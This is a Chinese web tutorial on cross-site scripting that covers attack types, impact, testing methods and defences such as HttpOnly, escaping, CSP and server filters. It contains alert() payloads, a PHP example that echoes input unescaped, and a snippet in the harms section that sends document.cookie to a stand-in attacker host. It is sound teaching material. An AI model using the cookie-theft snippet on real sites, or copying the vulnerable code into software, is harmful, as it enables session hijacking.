欢迎来到科站长!

安全相关

当前位置: 主页 > 网络编程 > 安全相关

跨站脚本攻击XSS分类介绍以及解决方案汇总

时间:2024-09-18 14:57:18|栏目:安全相关|点击:

1.什么是XSS?

Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

当页面被注入了恶意 JavaScript 脚本时,浏览器无法区分这些脚本是被恶意注入的还是正常的页面内容,所以恶意注入 JavaScript 脚本也拥有所有的脚本权限。下面我们就来看看,如果页面被注入了恶意 JavaScript 脚本,恶意脚本都能做哪些事情。

  • 可以窃取 Cookie 信息。恶意 JavaScript 可以通过“document.cookie”获取 Cookie 信息,然后通过 XMLHttpRequest 或者 Fetch 加上 CORS 功能将数据发送给恶意服务器;恶意服务器拿到用户的 Cookie 信息之后,就可以在其他电脑上模拟用户的登录,然后进行转账等操 作。
  • 可以监听用户行为。恶意 JavaScript 可以使用“addEventListener”接口来监听键盘事件,比如可以获取用户输入的信用卡等信息,将其发送 到恶意服务器。黑客掌握了这些信息之后,又可以做很多违法的事情。
  • 可以通过修改 DOM伪造假的登录窗口,用来欺骗用户输入用户名和密码等信息。
  • 还可以在页面内生成浮窗广告,这些广告会严重地影响用户体验。

这里有一个问题:用户是通过哪种方法“注入”恶意脚本的呢?

不仅仅是业务上的“用户的 UGC 内容”可以进行注入,包括 URL 上的参数等都可以是攻击的来源。在处

理输入时,以下内容都不可信:

  • 来自用户的 UGC 信息
  • 来自第三方的链接
  • URL 参数
  • POST 参数
  • Referer (可能来自不可信的来源)
  • Cookie (可能来自其他子域注入)

2.XSS 分类

2.1 反射型XSS

交互的数据一般不会被存在数据库里面,只是简单的把用户输入的数据反射到浏览器,一次性,所见即可得。

if(isset($_GET['submit'])){
    if(empty($_GET['message'])){
        $html.="<p class='notice'>输入'kobe'试试-_-</p>";
    }else{
        if($_GET['message']=='kobe'){
            $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />";
        }else{
            $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>";
        }
    }
}

这段逻辑只是关注你有没有输入信息。

比如写一段恶意代码:

1
<script>alert(111)</script>

攻击过程必须让用户访问指定url 才能生效,并且访问过程产生的数据不会被服务端造成影响

反射型XSS的总体流程总结 一下,你可以看下面这张图。黑客诱导你到点击了某个链接,这个链接提供的服务,可能就是上述的搜索功能。

网页在解析到链接 的参数后,执行正常的搜索 逻辑,但是因为漏洞,网页中被填入了黑客定义的脚本。使得用户的浏览器,最终执行的是黑客的脚本。

反射型XSS漏洞常见于通过有URL传递参数的功能,如网站搜索、跳转等。

由于需要用户主动打开恶意的URL才能生效,攻击者往往会结合多种手段诱导用户点击。

POST 的内容也可以触发反射型 XSS,只不过其触发条件比较苛刻(需要构造表单提交页面,并引导用户点击),所以非常少见。

2.2 存储型XSS

交互的数据会被存储在数据库里面,永久性存储,具有很强的稳定性。

存储型 XSS 的攻击步骤:

  1. 攻击者将恶意代码提交到目标网站的数据库中。
  2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
  3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
  4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。
1
<script>alert(document.cookie)</script>

每次不同的用户访问这个留言板的时候, 都会触发这个js代码, 因为是存储在数据库里(存储型)

2.3 DOM型XSS

基于 DOM 的 XSS 攻击是不牵涉到页面 Web 服务器的。具体来讲,黑客通过各种手段将恶意脚本注入用户的页面中,比如通过网络劫持在页面

传输过程中修改 HTML 页面的内容,这种劫持类型很多,有通过 WiFi 路由器劫持的,有通过本地恶意软件来劫持的,它们的共同点是在 Web

资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据。

DOM 型 XSS 的攻击步骤:

  • 攻击者构造出特殊的 URL,其中包含恶意代码。
  • 用户打开带有恶意代码的 URL。
  • 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
  • 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其

他两种 XSS 都属于服务端的安全漏洞。

3.漏洞危害

  • 钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼 JavaScript 以监控目标网站的表单输入。
  • 网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。
  • 身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。
  • 盗取网站用户信息:当能够窃取到用户 Cookie 从而获取到用户身份时,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。

下面代码是读取目标网站的cookie发送到黑客的服务器上。

1
2
3
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;

垃圾信息发送:比如在 SNS 社区中,利用 XSS 漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。

劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。

XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。

4.测试方法

  • 工具扫描: APPscan、AWVS
  • 手动测试: Burpsuite、Firefox(hackbar)、XSSER

使用手工检测Web应用程序是否存在XSS漏洞时,最重要的是考虑哪里有输入,输入的数据在什么地方输出。在进行手动检测XSS时,人毕

竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。

  • 在目标站点上找到输入带你,比如查询接口,留言板等
  • 输入一组 特殊字符+唯一识别字符 ,点击提交后,查看返回的源码,是否有做对应的处理;
  • 通过搜索定位到唯一字符,结合唯一字符前后语法确认时候可以构造执行 js 的条件(构造闭合);提交构造的脚本代码,看是否可以成功执行,如果成功执行则说明存在XSS漏洞。

Web漏洞扫描器原理:

https://www.acunetix.com/vulnerability-scanner/

5.解决方案

5.1 httpOnly

由于很多XSS攻击目的都是盗取Cookie的,因此可以公国HttpOnly 属性来保护Cookie的安全。httponly 默认是false,即这个cookie可以被js获取,假如你的cookie没加密又没设置httponly,你的cookie可能就会盗用,所以httponly增加了安全系数HttpOnly 是包含在 Set-Cookie HTTP 响应标头中的附加标志。可以防范 XSS攻击。
springBoot 项目中怎样设置,在配置文件中配置:

1
server.servlet.session.cookie.http-only 默认为true

5.2 客户端过滤

对用户的输入进行过滤,通过将 <>''""等字符进行转义,移除用户输入的Style节点、Script节点、iframe节点

const filterXSS(str){
    let s= '';
    if(str.length == 0) return "";
    s = str.replace(/&/g,"&amp;");
    s = s.replace(/</g,"&lt;");
    s = s.replace(/>/g,"&gt;");
    s = s.replace(/ /g,"&nbsp;");
    s = s.replace(/\'/g,"&#39;");
    s = s.replace(/\"/g,"&quot;");
    return s; 
}

5.3 充分利用CSP

虽然在服务器端执行过滤或者转码可以阻止 XSS 攻击的发生,但完全依靠服务器端依然是不够的,我们还需要把 CSP 等策略充分地利用起来,

以降低 XSS 攻击带来的风险和后果。

CSP( Content-Security-Policy )从字面意思来讲是“内容 - 安全 - 政策”。

通俗的讲就是该网页内容的一个安全策略,可以自定义资源的加载规则和资源所在地址源的白名单,用来限制资源是否被允许加载,即当受到 XSS 攻击时,攻击的资源文件所在的地址源不满足 CSP 配置的规则,即攻击资源会加载失败,以此达到防止 XSS 攻击的效果。

CSP的意义:防XSS等攻击的利器。CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。CSP 大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。

1.如何应用?

CSP 可以由两种方式指定:HTTP Header 和 HTML。HTTP 是在 HTTP 由增加 Header 来指定,而 HTML 级别则由 Meta 标签指定。

CSP 有两类:Content-Security-Policy 和 Content-Security-Policy-Report-Only。(大小写无关)

(1)Content-Security-Policy:配置好并启用后,不符合 CSP 的外部资源就会被阻止加载。

(2)Content-Security-Policy-Report-Only:表示不执行限制选项,只是记录违反限制的行为。它必须
与report-uri选项配合使用。

1
2
3
TTP header :
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略

HTTP Content-Security-Policy 头可以指定一个或多个资源是安全的,而Content-Security-Policy-Report-Only则是允许服务器检查(非强制)一个策略。多个头的策略定义由优先采用最先定义的。

1
2
3
HTML Meta :
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">

Meta 标签与 HTTP 头只是行式不同而作用是一致的。与 HTTP 头一样,优先采用最先定义的策略。如果 HTTP 头与 Meta 定义同时存在,则优先采用 HTTP 中的定义。如果用户浏览器已经为当前文档执行了一个 CSP 的策略,则会跳过 Meta 的定义。如果 META 标签缺少 content 属性也同样会跳过。

针对开发者草案中特别的提示一点:为了使用策略生效,应该将 Meta 元素头放在开始位置,以防止提高人为的 CSP 策略注入。

2.CSP使用方式有两种

1、使用meta标签, 直接在页面添加meta标签

1
<meta http-equiv="Content-Security-Policy" content="default-src 'self' *.xx.com *.xx.cn 'unsafe-inline' 'unsafe-eval';">

这种方式最简单,但是也有些缺陷,每个页面都需要添加,而且不能对限制的域名进行上报。

vue中使用CSP参考: https://www.jb51.net/article/259619.htm

2、在nginx中配置

###frame 同源策略
add_header X-Frame-Options SAMEORIGIN;
###CSP防护
add_header  Content-Security-Policy  "default-src 'self'; script-src 'self' 'unsafe-inline';font-src 'self' data:; img-src 'self'  data: 'unsafe-inline' https:; style-src 'self' 'unsafe-inline';frame-ancestors 'self'; frame-src 'self';connect-src https:";
###开启XSS防护
add_header X-Xss-Protection "1";
###资源解析
add_header X-Content-Type-Options nosniff;
###HSTS防护
add_header Strict-Transport-Security "max-age=172800; includeSubDomains";

3.匹配规则

CSP内容匹配的规则:规则名称 规则 规则;规则名称 规则 ...

  • default-src 所有资源的默认策略
  • script-src JS的加载策略,会覆盖default-src中的策略,比如写了default-src xx.com;script-src x.com xx.com; 必须同时加上xx.com,因为script-src会当作一个整体覆盖整个默认的default-src规则。
  • ‘unsafe-inline’ 允许执行内联的JS代码,默认为不允许,如果有内联的代码必须加上这条
  • ‘unsafe-eval’ 允许执行eval等

详情配置及浏览器兼容性可查看官方文档:https://content-security-policy.com

https://cloud.tencent.com/developer/section/1189862

策略应该怎么写?示例

// 限制所有的外部资源,都只能从当前域名加载
Content-Security-Policy: default-src 'self'

// default-src 是 CSP 指令,多个指令之间用英文分号分割;多个指令值用英文空格分割
Content-Security-Policy: default-src https://host1.com https://host2.com; frame-src 'none'; object-src 'none'  

// 错误写法,第二个指令将会被忽略
Content-Security-Policy: script-src https://host1.com; script-src https://host2.com

// 正确写法如下
Content-Security-Policy: script-src https://host1.com https://host2.com

我们不仅希望防止 XSS,还希望记录此类行为。report-uri就用来告诉浏览器,应该把注入行为报告给哪个网址。

// 通过report-uri指令指示浏览器发送JSON格式的拦截报告到某个url地址
Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser; 

// 报告看起来会像下面这样
{  
  "csp-report": {  
    "document-uri": "http://example.org/page.html",  
    "referrer": "http://evil.example.com/",  
    "blocked-uri": "http://evil.example.com/evil.js",  
    "violated-directive": "script-src 'self' https://apis.google.com",  
    "original-policy": "script-src 'self' https://apis.google.com; report-uri http://example.org/my_amazing_csp_report_parser"  
  }  
}

实施严格的 CSP 可以有效地防范 XSS 攻击,具体来讲 CSP 有如下几个功能:

  • 限制加载其他域下的资源文件,这样即使黑客插入了一个 JavaScript 文件,这个 JavaScript 文件也是无法被加载的;
  • 禁止向第三方域提交数据,这样用户数据也不会外泄;
  • 禁止执行内联脚本和未授权的脚本;
  • 还提供了上报机制,这样可以帮助我们尽快发现有哪些 XSS 攻击,以便尽快修复问题。

因此,利用好 CSP 能够有效降低 XSS 攻击的概率。

5.5 服务端校验

后端使用的 SpringBoot

(1) 首先配置过滤器

   @Bean
    public FilterRegistrationBean<XssFilter> xssFilterRegistration() {
        //创建配置bean对象,并指定->过滤器
        FilterRegistrationBean<XssFilter> registrationBean = new FilterRegistrationBean<>(new XssFilter());
        // 最后执行
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);
        registrationBean.setOrder(Integer.MAX_VALUE-1);
        registrationBean.setName("xssFilter");
        //添加需要过滤的url
        registrationBean.addUrlPatterns(StrUtil.splitToArray(urlPatterns, ','));
        Map<String, String> initParameters = new HashMap<>(4);
        initParameters.put("excludes", excludes);
        initParameters.put("enabled", enabled);
        registrationBean.setInitParameters(initParameters);
        return registrationBean;
    }


上一篇:前端面试之对安全防御的理解分析

栏    目:安全相关

下一篇:暂无

本文标题:跨站脚本攻击XSS分类介绍以及解决方案汇总

本文地址:https://www.fushidao.cc/wangluobiancheng/719.html

广告投放 | 联系我们 | 版权申明

申明:本站所有的文章、图片、评论等,均由网友发表或上传并维护或收集自网络,属个人行为,与本站立场无关。

如果侵犯了您的权利,请与我们联系,我们将在24小时内进行处理、任何非本站因素导致的法律后果,本站均不负任何责任。

联系QQ:1205677645 | 邮箱:1205677645@qq.com

Copyright © 2018-2024 科站长 版权所有冀ICP备14023439号